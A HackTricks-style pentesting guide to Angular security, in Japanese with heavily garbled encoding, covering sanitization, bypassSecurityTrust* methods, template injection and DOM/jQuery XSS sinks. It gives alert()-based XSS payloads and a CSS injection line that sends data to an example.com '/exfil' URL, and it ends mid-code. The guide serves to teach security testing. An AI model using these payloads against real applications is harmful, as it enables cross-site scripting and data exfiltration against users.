Angular
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã
ãã§ãã¯ãªã¹ã
ãã§ãã¯ãªã¹ã ãã¡ãããã
- Angularã¯ã¯ã©ã€ã¢ã³ããµã€ããã¬ãŒã ã¯ãŒã¯ãšèŠãªããããµãŒããŒãµã€ãã®ä¿è·ãæäŸããããšã¯æåŸ ãããŠããªã
- ãããžã§ã¯ãèšå®ã§ã¹ã¯ãªããã®ãœãŒã¹ããããç¡å¹ã«ãªã£ãŠãã
- ä¿¡é Œã§ããªããŠãŒã¶ãŒå ¥åã¯åžžã«ãã³ãã¬ãŒãã§äœ¿çšãããåã«è£éãŸãã¯ãµãã¿ã€ãºããã
- ãŠãŒã¶ãŒã¯ãµãŒããŒãµã€ããŸãã¯ã¯ã©ã€ã¢ã³ããµã€ãã®ãã³ãã¬ãŒããå¶åŸ¡ã§ããªã
- ä¿¡é Œã§ããªããŠãŒã¶ãŒå ¥åã¯ãã¢ããªã±ãŒã·ã§ã³ã«ãã£ãŠä¿¡é Œãããåã«é©åãªã»ãã¥ãªãã£ã³ã³ããã¹ãã䜿çšããŠãµãã¿ã€ãºããã
-
BypassSecurity*ã¡ãœããã¯ä¿¡é Œã§ããªãå ¥åãšå ±ã«äœ¿çšãããªã - ä¿¡é Œã§ããªããŠãŒã¶ãŒå
¥åã¯ã
ElementRefãRenderer2ãDocumentãªã©ã®Angularã¯ã©ã¹ãä»ã®JQuery/DOMã·ã³ã¯ã«æž¡ãããªã
Angularãšã¯
Angularã¯ãGoogleã«ãã£ãŠç¶æãããŠãã匷åãªãã€ãªãŒãã³ãœãŒã¹ã®ããã³ããšã³ããã¬ãŒã ã¯ãŒã¯ã§ããTypeScriptã䜿çšããŠã³ãŒãã®å¯èªæ§ãšãããã°ãåäžãããŸãã匷åãªã»ãã¥ãªãã£ã¡ã«ããºã ã«ãããAngularã¯XSSããªãŒãã³ãªãã€ã¬ã¯ããªã©ã®äžè¬çãªã¯ã©ã€ã¢ã³ããµã€ãã®è匱æ§ãé²ããŸãããŸãããµãŒããŒãµã€ãã§ã䜿çšã§ãããããäž¡æ¹ã®èŠç¹ããã®ã»ãã¥ãªãã£èæ ®ãéèŠã§ãã
ãã¬ãŒã ã¯ãŒã¯ã¢ãŒããã¯ãã£
Angularã®åºæ¬ãããããçè§£ããããã«ããã®éèŠãªæŠå¿µãèŠãŠãããŸãããã
äžè¬çãªAngularãããžã§ã¯ãã¯é垞次ã®ããã«ãªããŸã:
my-workspace/
âââ ... #workspace-wide configuration files
âââ src
â âââ app
â â âââ app.module.ts #defines the root module, that tells Angular how to assemble the application
â â âââ app.component.ts #defines the logic for the application's root component
â â âââ app.component.html #defines the HTML template associated with the root component
â â âââ app.component.css #defines the base CSS stylesheet for the root component
â â âââ app.component.spec.ts #defines a unit test for the root component
â â âââ app-routing.module.ts #provides routing capability for the application
â âââ lib
â â âââ src #library-specific configuration files
â âââ index.html #main HTML page, where the component will be rendered in
â âââ ... #application-specific configuration files
âââ angular.json #provides workspace-wide and project-specific configuration defaults
âââ tsconfig.json #provides the base TypeScript configuration for projects in the workspace
ããã¥ã¡ã³ãã«ãããšããã¹ãŠã®Angularã¢ããªã±ãŒã·ã§ã³ã«ã¯ãã³ã³ããŒãã³ãéå±€ãDOMã«æ¥ç¶ããã«ãŒãã³ã³ããŒãã³ãïŒAppComponentïŒãå°ãªããšã1ã€ãããŸããåã³ã³ããŒãã³ãã¯ãã¢ããªã±ãŒã·ã§ã³ããŒã¿ãšããžãã¯ãå«ãã¯ã©ã¹ãå®çŸ©ããã¿ãŒã²ããç°å¢ã«è¡šç€ºããããã¥ãŒãå®çŸ©ããHTMLãã³ãã¬ãŒãã«é¢é£ä»ããããŠããŸãã@Component()ãã³ã¬ãŒã¿ãŒã¯ããã®çŽäžã®ã¯ã©ã¹ãã³ã³ããŒãã³ããšããŠèå¥ãããã³ãã¬ãŒãããã³é¢é£ããã³ã³ããŒãã³ãåºæã®ã¡ã¿ããŒã¿ãæäŸããŸããAppComponentã¯app.component.tsãã¡ã€ã«ã§å®çŸ©ãããŠããŸãã
Angular NgModulesã¯ãã¢ããªã±ãŒã·ã§ã³ãã¡ã€ã³ãã¯ãŒã¯ãããŒããŸãã¯å¯æ¥ã«é¢é£ããæ©èœã»ããã«å°å¿µããã³ã³ããŒãã³ãã®ã»ããã®ã³ã³ãã€ã«ã³ã³ããã¹ãã宣èšããŸãããã¹ãŠã®Angularã¢ããªã±ãŒã·ã§ã³ã«ã¯ãéåžžAppModuleãšåŒã°ããã«ãŒãã¢ãžã¥ãŒã«ããããã¢ããªã±ãŒã·ã§ã³ãèµ·åããããŒãã¹ãã©ããã¡ã«ããºã ãæäŸããŸããã¢ããªã±ãŒã·ã§ã³ã«ã¯éåžžãå€ãã®æ©èœã¢ãžã¥ãŒã«ãå«ãŸããŠããŸããAppModuleã¯app.module.tsãã¡ã€ã«ã§å®çŸ©ãããŠããŸãã
Angular Router NgModuleã¯ãã¢ããªã±ãŒã·ã§ã³å
ã®ç°ãªãã¢ããªã±ãŒã·ã§ã³ç¶æ
ãšãã¥ãŒéå±€ã®éã§ããã²ãŒã·ã§ã³ãã¹ãå®çŸ©ã§ãããµãŒãã¹ãæäŸããŸããRouterModuleã¯app-routing.module.tsãã¡ã€ã«ã§å®çŸ©ãããŠããŸãã
ç¹å®ã®ãã¥ãŒã«é¢é£ä»ããããŠããªãããŒã¿ãããžãã¯ãå
±æãããå Žåã¯ããµãŒãã¹ã¯ã©ã¹ãäœæããŸãããµãŒãã¹ã¯ã©ã¹ã®å®çŸ©ã¯ã@Injectable()ãã³ã¬ãŒã¿ãŒã«ãã£ãŠçŽåã«ç€ºãããŸãããã®ãã³ã¬ãŒã¿ãŒã¯ãä»ã®ãããã€ããŒãäŸåé¢ä¿ãšããŠã¯ã©ã¹ã«æ³šå
¥ã§ããããã«ããã¡ã¿ããŒã¿ãæäŸããŸããäŸåæ§æ³šå
¥ïŒDIïŒã«ãããã³ã³ããŒãã³ãã¯ã©ã¹ãã¹ãªã ã§å¹ççã«ä¿ã€ããšãã§ããŸããã³ã³ããŒãã³ãã¯ãµãŒããŒããããŒã¿ãååŸãããããŠãŒã¶ãŒå
¥åãæ€èšŒããããã³ã³ãœãŒã«ã«çŽæ¥ãã°ãèšé²ãããããããšã¯ãªãããã®ãããªã¿ã¹ã¯ããµãŒãã¹ã«å§ä»»ããŸãã
Sourcemap configuration
Angularãã¬ãŒã ã¯ãŒã¯ã¯ãtsconfig.jsonãªãã·ã§ã³ã«åŸã£ãŠTypeScriptãã¡ã€ã«ãJavaScriptã³ãŒãã«å€æãããã®åŸangular.jsonæ§æã§ãããžã§ã¯ãããã«ãããŸããangular.jsonãã¡ã€ã«ãèŠãŠã¿ããšããœãŒã¹ããããæå¹ãŸãã¯ç¡å¹ã«ãããªãã·ã§ã³ãããããšãããããŸãããAngularã®ããã¥ã¡ã³ãã«ãããšãããã©ã«ãã®æ§æã§ã¯ãã¹ã¯ãªããçšã®ãœãŒã¹ããããã¡ã€ã«ãæå¹ã«ãªã£ãŠãããããã©ã«ãã§ã¯é ãããŠããŸããã
"sourceMap": {
"scripts": true,
"styles": true,
"vendor": false,
"hidden": false
}
äžè¬çã«ãsourcemapãã¡ã€ã«ã¯ãããã°ç®çã§äœ¿çšãããçæããããã¡ã€ã«ãå ã®ãã¡ã€ã«ã«ãããã³ã°ããŸãããããã£ãŠããããã¯ã·ã§ã³ç°å¢ã§ã®äœ¿çšã¯æšå¥šãããŸãããsourcemapsãæå¹ã«ãªã£ãŠããå ŽåãAngularãããžã§ã¯ãã®å ã®ç¶æ ãåçŸããããšã§ãå¯èªæ§ãåäžãããã¡ã€ã«åæã容æã«ãªããŸããããããç¡å¹ã«ãªã£ãŠããå Žåãã¬ãã¥ã¢ãŒã¯ã»ãã¥ãªãã£å¯Ÿçãã¿ãŒã³ãæ€çŽ¢ããããšã§ãã³ã³ãã€ã«ãããJavaScriptãã¡ã€ã«ãæåã§åæããããšãã§ããŸãã
ããã«ãAngularãããžã§ã¯ãã®ã³ã³ãã€ã«ãããJavaScriptãã¡ã€ã«ã¯ããã©ãŠã¶ã®éçºè
ããŒã« â SourcesïŒãŸã㯠Debugger and SourcesïŒ â [id].main.js ã«èŠã€ããããšãã§ããŸããæå¹ãªãªãã·ã§ã³ã«å¿ããŠããã®ãã¡ã€ã«ã®æåŸã« //# sourceMappingURL=[id].main.js.map ãšããè¡ãå«ãŸããŠããå Žåãããã°ãhiddenãªãã·ã§ã³ãtrueã«èšå®ãããŠããå Žåã¯å«ãŸããŠããªãããšããããŸããããã«ãããããããscriptsã®sourcemapãç¡å¹ã«ãªã£ãŠããå Žåããã¹ãã¯ããè€éã«ãªãããã¡ã€ã«ãååŸããããšã¯ã§ããŸãããããã«ããããžã§ã¯ããã«ãäžã«sourcemapãæå¹ã«ããããšãã§ããŸããäŸãã°ãng build --source-mapã®ããã«ã
ããŒã¿ãã€ã³ãã£ã³ã°
ãã€ã³ãã£ã³ã°ã¯ãã³ã³ããŒãã³ããšãã®å¯Ÿå¿ãããã¥ãŒéã®éä¿¡ããã»ã¹ãæããŸããããã¯ãAngularãã¬ãŒã ã¯ãŒã¯ãšã®éã§ããŒã¿ã転éããããã«äœ¿çšãããŸããããŒã¿ã¯ãã€ãã³ããè£éãããããã£ããŸãã¯åæ¹åãã€ã³ãã£ã³ã°ã¡ã«ããºã ãéããŠæž¡ãããšãã§ããŸããããã«ãããŒã¿ã¯é¢é£ããã³ã³ããŒãã³ãïŒèŠªåé¢ä¿ïŒéãããµãŒãã¹æ©èœã䜿çšããŠç¡é¢ä¿ãª2ã€ã®ã³ã³ããŒãã³ãéã§ãå ±æã§ããŸãã
ãã€ã³ãã£ã³ã°ã¯ããŒã¿ãããŒã«ãã£ãŠåé¡ã§ããŸãïŒ
- ããŒã¿ãœãŒã¹ãããã¥ãŒã¿ãŒã²ãããžïŒinterpolationãpropertiesãattributesãclassesã_styles_ãå«ãïŒïŒãã³ãã¬ãŒãã§
[]ãŸãã¯{{}}ã䜿çšããŠé©çšã§ããŸãïŒ - ãã¥ãŒã¿ãŒã²ããããããŒã¿ãœãŒã¹ãžïŒ_events_ãå«ãïŒïŒãã³ãã¬ãŒãã§
()ã䜿çšããŠé©çšã§ããŸãïŒ - åæ¹åïŒãã³ãã¬ãŒãã§
[()]ã䜿çšããŠé©çšã§ããŸãã
ãã€ã³ãã£ã³ã°ã¯ãããããã£ãã€ãã³ãã屿§ãããã³ãœãŒã¹ãã£ã¬ã¯ãã£ãã®ä»»æã®ãããªãã¯ã¡ã³ããŒã«å¯ŸããŠåŒã³åºãããšãã§ããŸãïŒ
| ã¿ã€ã | ã¿ãŒã²ãã | äŸ |
|---|---|---|
| ãããã㣠| èŠçŽ ããããã£ãã³ã³ããŒãã³ãããããã£ããã£ã¬ã¯ãã£ããããã㣠| <img [alt]=âhero.nameâ [src]=âheroImageUrlâ> |
| ã€ãã³ã | èŠçŽ ã€ãã³ããã³ã³ããŒãã³ãã€ãã³ãããã£ã¬ã¯ãã£ãã€ãã³ã | <button type=âbuttonâ (click)=âonSave()â>ä¿å |
| åæ¹å | ã€ãã³ããšãããã㣠| <input [(ngModel)]=ânameâ> |
| 屿§ | 屿§ïŒäŸå€ïŒ | <button type=âbuttonâ [attr.aria-label]=âhelpâ>help |
| ã¯ã©ã¹ | ã¯ã©ã¹ãããã㣠| <div [class.special]=âisSpecialâ>ç¹å¥ |
| ã¹ã¿ã€ã« | ã¹ã¿ã€ã«ãããã㣠| <button type=âbuttonâ [style.color]=âisSpecial ? âredâ : âgreenââ> |
Angularã»ãã¥ãªãã£ã¢ãã«
Angularã®èšèšã«ã¯ããã¹ãŠã®ããŒã¿ã®ãšã³ã³ãŒãã£ã³ã°ãŸãã¯ãµãã¿ã€ãºãããã©ã«ãã§å«ãŸããŠãããAngularãããžã§ã¯ãã«ãããXSSè匱æ§ã®çºèŠãšæªçšããŸããŸãå°é£ã«ãªã£ãŠããŸããããŒã¿åŠçã«ã¯2ã€ã®ç°ãªãã·ããªãªããããŸãïŒ
- è£éãŸãã¯
{{user_input}}- ã³ã³ããã¹ãã«å¿ãããšã³ã³ãŒãã£ã³ã°ãå®è¡ãããŠãŒã¶ãŒå ¥åãããã¹ããšããŠè§£éããŸãïŒ
//app.component.ts
test = "<script>alert(1)</script><h1>test</h1>";
//app.component.html
{{test}}
çµæ: <script>alert(1)</script><h1>test</h1>
2. ããããã£ã屿§ãã¯ã©ã¹ãã¹ã¿ã€ã«ãžã®ãã€ã³ãã£ã³ã°ãŸã㯠[attribute]="user_input" - æäŸãããã»ãã¥ãªãã£ã³ã³ããã¹ãã«åºã¥ããŠãµãã¿ã€ãºãå®è¡ããŸãã
//app.component.ts
test = "<script>alert(1)</script><h1>test</h1>";
//app.component.html
<div [innerHtml]="test"></div>
çµæ: <div><h1>test</h1></div>
SecurityContextã«ã¯6çš®é¡ããããŸãïŒ
None;HTMLã¯ãå€ãHTMLãšããŠè§£éããéã«äœ¿çšãããŸãïŒSTYLEã¯ãCSSãstyleããããã£ã«ãã€ã³ãã£ã³ã°ããéã«äœ¿çšãããŸãïŒURLã¯ã<a href>ã®ãããªURLããããã£ã«äœ¿çšãããŸãïŒSCRIPTã¯ãJavaScriptã³ãŒãã«äœ¿çšãããŸãïŒRESOURCE_URLã¯ãã³ãŒããšããŠèªã¿èŸŒãŸãå®è¡ãããURLã§ãäŸãã°<script src>ã§äœ¿çšãããŸãã
è匱æ§
ã»ãã¥ãªãã£ãã©ã¹ãã¡ãœããã®ãã€ãã¹
Angularã¯ãããã©ã«ãã®ãµãã¿ã€ãºããã»ã¹ããã€ãã¹ããç¹å®ã®ã³ã³ããã¹ãã§å€ãå®å šã«äœ¿çšã§ããããšã瀺ãããã®ã¡ãœããã®ãªã¹ããå°å ¥ããŠããŸãã以äžã®5ã€ã®äŸã®ããã«ïŒ
bypassSecurityTrustUrlã¯ãæå®ãããå€ãå®å šãªã¹ã¿ã€ã«URLã§ããããšã瀺ãããã«äœ¿çšãããŸãïŒ
//app.component.ts
this.trustedUrl = this.sanitizer.bypassSecurityTrustUrl('javascript:alert()');
//app.component.html
<a class="e2e-trusted-url" [href]="trustedUrl">ã¯ãªãã¯ããŠãã ãã</a>
//çµæ
<a _ngcontent-pqg-c12="" class="e2e-trusted-url" href="javascript:alert()">ã¯ãªãã¯ããŠãã ãã</a>
bypassSecurityTrustResourceUrlã¯ãæå®ãããå€ãå®å šãªãªãœãŒã¹URLã§ããããšã瀺ãããã«äœ¿çšãããŸãïŒ
//app.component.ts
this.trustedResourceUrl = this.sanitizer.bypassSecurityTrustResourceUrl("https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png");
//app.component.html
<iframe [src]="trustedResourceUrl"></iframe>
//çµæ
<img _ngcontent-nre-c12="" src="https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png">
bypassSecurityTrustHtmlã¯ãæå®ãããå€ãå®å šãªHTMLã§ããããšã瀺ãããã«äœ¿çšãããŸããæ³šæãã¹ãã¯ããã®æ¹æ³ã§DOMããªãŒã«scriptèŠçŽ ãæ¿å ¥ããŠããå«ãŸããŠããJavaScriptã³ãŒããå®è¡ãããããšã¯ãªããšããããšã§ãã
//app.component.ts
this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml("<h1>htmlã¿ã°</h1><svg onclick=\"alert('bypassSecurityTrustHtml')\" style=display:block>blah</svg>");
//app.component.html
<p style="border:solid" [innerHtml]="trustedHtml"></p>
//çµæ
<h1>htmlã¿ã°</h1>
<svg onclick="alert('bypassSecurityTrustHtml')" style="display:block">blah</svg>
bypassSecurityTrustScriptã¯ãæå®ãããå€ãå®å šãªJavaScriptã§ããããšã瀺ãããã«äœ¿çšãããŸãããããããã®ã¡ãœããã䜿çšããŠãã³ãã¬ãŒãå ã§JSã³ãŒããå®è¡ã§ããªãã£ãããããã®åäœã¯äºæž¬äžå¯èœã§ããããšãããããŸããã
//app.component.ts
this.trustedScript = this.sanitizer.bypassSecurityTrustScript("alert('bypass Security TrustScript')");
//app.component.html
<script [innerHtml]="trustedScript"></script>
//çµæ
-
bypassSecurityTrustStyleã¯ãæå®ãããå€ãå®å šãªCSSã§ããããšã瀺ãããã«äœ¿çšãããŸãã以äžã®äŸã¯CSSã€ã³ãžã§ã¯ã·ã§ã³ã瀺ããŠããŸãïŒ
//app.component.ts
this.trustedStyle = this.sanitizer.bypassSecurityTrustStyle('background-image: url(https://example.com/exfil/a)');
//app.component.html
<input type="password" name="pwd" value="01234" [style]="trustedStyle">
//çµæ
ãªã¯ãšã¹ãURL: GET example.com/exfil/a
Angularã¯ããã¥ãŒã«è¡šç€ºããåã«ããŒã¿ããµãã¿ã€ãºããããã®sanitizeã¡ãœãããæäŸããŠããŸãããã®ã¡ãœããã¯ãæäŸãããã»ãã¥ãªãã£ã³ã³ããã¹ãã䜿çšããå
¥åãé©åã«ã¯ãªãŒã³ã¢ããããŸãããã ããç¹å®ã®ããŒã¿ãšã³ã³ããã¹ãã«å¯ŸããŠæ£ããã»ãã¥ãªãã£ã³ã³ããã¹ãã䜿çšããããšãéèŠã§ããããšãã°ãHTMLã³ã³ãã³ãã«SecurityContext.URLãé©çšãããšãå±éºãªHTMLå€ã«å¯Ÿããä¿è·ãæäŸãããŸããããã®ãããªã·ããªãªã§ã¯ãã»ãã¥ãªãã£ã³ã³ããã¹ãã®èª€çšãXSSè匱æ§ãåŒãèµ·ããå¯èœæ§ããããŸãã
HTMLã€ã³ãžã§ã¯ã·ã§ã³
ãã®è匱æ§ã¯ããŠãŒã¶ãŒå
¥åãinnerHTMLãouterHTMLããŸãã¯iframe srcdocã®ããããã®3ã€ã®ããããã£ã«ãã€ã³ãããããšãã«çºçããŸãããããã®å±æ§ã«ãã€ã³ããããšãHTMLããã®ãŸãŸè§£éãããå
¥åã¯SecurityContext.HTMLã䜿çšããŠãµãã¿ã€ãºãããŸãããããã£ãŠãHTMLã€ã³ãžã§ã¯ã·ã§ã³ã¯å¯èœã§ãããã¯ãã¹ãµã€ãã¹ã¯ãªããã£ã³ã°ïŒXSSïŒã¯çºçããŸããã
innerHTMLã䜿çšããäŸïŒ
//app.component.ts
import { Component} from '@angular/core';
@Component({
selector: 'app-root',
templateUrl: './app.component.html'
})
export class AppComponent{
//define a variable with user input
test = "<script>alert(1)</script><h1>test</h1>";
}
//app.component.html
<div [innerHTML]="test"></div>
test
ãã³ãã¬ãŒãã€ã³ãžã§ã¯ã·ã§ã³
ã¯ã©ã€ã¢ã³ããµã€ãã¬ã³ããªã³ã° (CSR)
Angularã¯ãããŒãžãåçã«æ§ç¯ããããã«ãã³ãã¬ãŒããå©çšããŸãããã®ã¢ãããŒãã¯ãAngularãè©äŸ¡ããããã®ãã³ãã¬ãŒãåŒãäºéæ³¢æ¬åŒ§ïŒ{{}}ïŒã§å²ãããšãå«ã¿ãŸãããã®ããã«ããŠããã¬ãŒã ã¯ãŒã¯ã¯è¿œå ã®æ©èœãæäŸããŸããäŸãã°ã{{1+1}}ãšãããã³ãã¬ãŒãã¯2ãšããŠè¡šç€ºãããŸãã
éåžžãAngularã¯ãã³ãã¬ãŒãåŒãšæ··åãããå¯èœæ§ã®ãããŠãŒã¶ãŒå ¥åïŒäŸïŒ`< > â â ``ã®ãããªæåïŒããšã¹ã±ãŒãããŸããããã¯ããã©ãã¯ãªã¹ãã«èŒã£ãŠããæåã䜿çšããªãããã«JavaScriptæååãªããžã§ã¯ããçæãã颿°ãå©çšãããªã©ããã®å¶éãåé¿ããããã«è¿œå ã®æé ãå¿ èŠã§ããããšãæå³ããŸãããããããããéæããããã«ã¯ãAngularã®ã³ã³ããã¹ãããã®ããããã£ãããã³å€æ°ãèæ ®ããå¿ èŠããããŸãããããã£ãŠããã³ãã¬ãŒãã€ã³ãžã§ã¯ã·ã§ã³æ»æã¯æ¬¡ã®ããã«èŠãããããããŸããïŒ
//app.component.ts
const _userInput = '{{constructor.constructor(\'alert(1)\'()}}'
@Component({
selector: 'app-root',
template: '<h1>title</h1>' + _userInput
})
äžèšã®ããã«ãconstructorã¯Object constructorããããã£ã®ã¹ã³ãŒããæããStringã³ã³ã¹ãã©ã¯ã¿ãåŒã³åºããŠä»»æã®ã³ãŒããå®è¡ããããšãå¯èœã«ããŸãã
ãµãŒããŒãµã€ãã¬ã³ããªã³ã° (SSR)
CSRããã©ãŠã¶ã®DOMã§çºçããã®ã«å¯ŸããAngular Universalã¯ãã³ãã¬ãŒããã¡ã€ã«ã®SSRãæ åœããŸãããããã®ãã¡ã€ã«ã¯ãŠãŒã¶ãŒã«é ä¿¡ãããŸãããã®åºå¥ã«ãããããããAngular Universalã¯CSRã§äœ¿çšãããã®ãšåããµãã¿ã€ãºã¡ã«ããºã ãé©çšããŠSSRã®ã»ãã¥ãªãã£ã匷åããŸããSSRã«ããããã³ãã¬ãŒãã€ã³ãžã§ã¯ã·ã§ã³ã®è匱æ§ã¯ã䜿çšããããã³ãã¬ãŒãèšèªãåãã§ãããããCSRãšåãæ¹æ³ã§æ€åºã§ããŸãã
ãã¡ãããPugãHandlebarsãªã©ã®ãµãŒãããŒãã£ã®ãã³ãã¬ãŒããšã³ãžã³ã䜿çšããéã«ãæ°ãããã³ãã¬ãŒãã€ã³ãžã§ã¯ã·ã§ã³ã®è匱æ§ãå°å ¥ãããå¯èœæ§ããããŸãã
XSS
DOMã€ã³ã¿ãŒãã§ãŒã¹
åè¿°ã®ããã«ã_Document_ã€ã³ã¿ãŒãã§ãŒã¹ã䜿çšããŠDOMã«çŽæ¥ã¢ã¯ã»ã¹ã§ããŸãããŠãŒã¶ãŒå ¥åãäºåã«æ€èšŒãããŠããªãå Žåãã¯ãã¹ãµã€ãã¹ã¯ãªããã£ã³ã°ïŒXSSïŒè匱æ§ã«ã€ãªããå¯èœæ§ããããŸãã
以äžã®äŸã§ã¯ãdocument.write()ããã³document.createElement()ã¡ãœããã䜿çšããŸããïŒ
//app.component.ts 1
import { Component} from '@angular/core';
@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
document.open();
document.write("<script>alert(document.domain)</script>");
document.close();
}
}
//app.component.ts 2
import { Component} from '@angular/core';
@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
var d = document.createElement('script');
var y = document.createTextNode("alert(1)");
d.appendChild(y);
document.body.appendChild(d);
}
}
//app.component.ts 3
import { Component} from '@angular/core';
@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
var a = document.createElement('img');
a.src='1';
a.setAttribute('onerror','alert(1)');
document.body.appendChild(a);
}
}
Angularã¯ã©ã¹
Angularã§DOMèŠçŽ ãæäœããããã«äœ¿çšã§ããã¯ã©ã¹ãããã€ããããŸãïŒElementRefãRenderer2ãLocationãããã³DocumentãæåŸã®2ã€ã®ã¯ã©ã¹ã«ã€ããŠã®è©³çްãªèª¬æã¯ããªãŒãã³ãªãã€ã¬ã¯ãã»ã¯ã·ã§ã³ã«èšèŒãããŠããŸããæåã®2ã€ã®äž»ãªéãã¯ãRenderer2 APIãDOMèŠçŽ ãšã³ã³ããŒãã³ãã³ãŒãã®éã«æœè±¡åã®å±€ãæäŸããã®ã«å¯ŸããElementRefã¯åã«èŠçŽ ãžã®åç
§ãä¿æããããšã§ãããããã£ãŠãAngularã®ããã¥ã¡ã³ãã«ããã°ãElementRef APIã¯çŽæ¥DOMã«ã¢ã¯ã»ã¹ããå¿
èŠãããå Žåã®æåŸã®ææ®µãšããŠã®ã¿äœ¿çšãããã¹ãã§ãã
ElementRefã«ã¯ãDOMèŠçŽ ãæäœããããã«äœ¿çšã§ããnativeElementããããã£ãå«ãŸããŠããŸãããã ããnativeElementã®äžé©åãªäœ¿çšã¯ã以äžã«ç€ºãããã«XSSã€ã³ãžã§ã¯ã·ã§ã³ã®è匱æ§ãåŒãèµ·ããå¯èœæ§ããããŸãïŒ
//app.component.ts
import { Component, ElementRef, ViewChild, AfterViewInit } from '@angular/core';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
...
constructor(private elementRef: ElementRef) {
const s = document.createElement('script');
s.type = 'text/javascript';
s.textContent = 'alert("Hello World")';
this.elementRef.nativeElement.appendChild(s);
}
}
Renderer2ããã€ãã£ãèŠçŽ ãžã®çŽæ¥ã¢ã¯ã»ã¹ããµããŒããããŠããªãå Žåã§ãå®å šã«äœ¿çšã§ããAPIãæäŸããã«ãããããããããã€ãã®ã»ãã¥ãªãã£ã®æ¬ é¥ããããŸããRenderer2ã䜿çšãããšãsetAttribute()ã¡ãœããã䜿çšããŠHTMLèŠçŽ ã«å±æ§ãèšå®ã§ããŸãããXSS鲿¢ã¡ã«ããºã ã¯ãããŸããã
//app.component.ts
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
public constructor (
private renderer2: Renderer2
){}
@ViewChild("img") img!: ElementRef;
addAttribute(){
this.renderer2.setAttribute(this.img.nativeElement, 'src', '1');
this.renderer2.setAttribute(this.img.nativeElement, 'onerror', 'alert(1)');
}
}
//app.component.html
<img #img>
<button (click)="setAttribute()">Click me!</button>
- DOMèŠçŽ ã®ããããã£ãèšå®ããã«ã¯ã
Renderer2.setProperty()ã¡ãœããã䜿çšããŠXSSæ»æãåŒãèµ·ããããšãã§ããŸãïŒ
//app.component.ts
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
public constructor (
private renderer2: Renderer2
){}
@ViewChild("img") img!: ElementRef;
setProperty(){
this.renderer2.setProperty(this.img.nativeElement, 'innerHTML', '<img src=1 onerror=alert(1)>');
}
}
//app.component.html
<a #a></a>
<button (click)="setProperty()">Click me!</button>
ç§ãã¡ã®ç ç©¶ã®äžã§ãsetStyle()ãcreateComment()ãããã³setValue()ãªã©ã®ä»ã®Renderer2ã¡ãœããã®åäœãXSSããã³CSSã€ã³ãžã§ã¯ã·ã§ã³ã«é¢é£ããŠèª¿æ»ããŸããããããããããã®ã¡ãœããã®æ©èœçå¶éã®ãããæå¹ãªæ»æãã¯ã¿ãŒãèŠã€ããããšã¯ã§ããŸããã§ããã
jQuery
jQueryã¯ãHTML DOMãªããžã§ã¯ãã®æäœãå©ããããã«Angularãããžã§ã¯ãã§äœ¿çšã§ãããè¿ éã§å°åãæ©èœè±å¯ãªJavaScriptã©ã€ãã©ãªã§ããããããç¥ãããŠããããã«ããã®ã©ã€ãã©ãªã®ã¡ãœããã¯XSSè匱æ§ãåŒãèµ·ããããã«æªçšãããå¯èœæ§ããããŸããAngularãããžã§ã¯ãã§è匱ãªjQueryã¡ãœãããã©ã®ããã«æªçšãããããè°è«ããããã«ããã®ãµãã»ã¯ã·ã§ã³ã远å ããŸããã
html()ã¡ãœããã¯ãäžèŽããèŠçŽ ã®ã»ããã®æåã®èŠçŽ ã®HTMLã³ã³ãã³ããååŸãããããã¹ãŠã®äžèŽããèŠçŽ ã®HTMLã³ã³ãã³ããèšå®ããŸããããããèšèšäžãHTMLæååãåãå ¥ããjQueryã®ã³ã³ã¹ãã©ã¯ã¿ãã¡ãœããã¯ãã³ãŒããå®è¡ããå¯èœæ§ããããŸããããã¯ã<script>ã¿ã°ã®æ³šå ¥ããã³ãŒããå®è¡ããHTML屿§ã®äœ¿çšã«ãã£ãŠçºçããå¯èœæ§ããããŸãã
//app.component.ts
import { Component, OnInit } from '@angular/core';
import * as $ from 'jquery';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit
{
ngOnInit()
{
$("button").on("click", function()
{
$("p").html("<script>alert(1)</script>");
});
}
}
//app.component.html
<button>Click me</button>
<p>some text here</p>
jQuery.parseHTML()ã¡ãœããã¯ãæååãDOMããŒãã®ã»ããã«å€æããããã«ãã€ãã£ãã¡ãœããã䜿çšãããããããã¥ã¡ã³ãã«æ¿å ¥ã§ããŸãã
jQuery.parseHTML(data [, context ] [, keepScripts ])
åè¿°ã®ããã«ãHTMLæååãåãå
¥ããã»ãšãã©ã®jQuery APIã¯ãHTMLã«å«ãŸããã¹ã¯ãªãããå®è¡ããŸããjQuery.parseHTML()ã¡ãœããã¯ãkeepScriptsãæç€ºçã«trueã§ãªãéããè§£æãããHTMLå
ã®ã¹ã¯ãªãããå®è¡ããŸãããããããã»ãšãã©ã®ç°å¢ã§ã¯ã<img onerror>屿§ãä»ããŠéæ¥çã«ã¹ã¯ãªãããå®è¡ããããšãå¯èœã§ãã
//app.component.ts
import { Component, OnInit } from '@angular/core';
import * as $ from 'jquery';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit
{
ngOnInit()
{
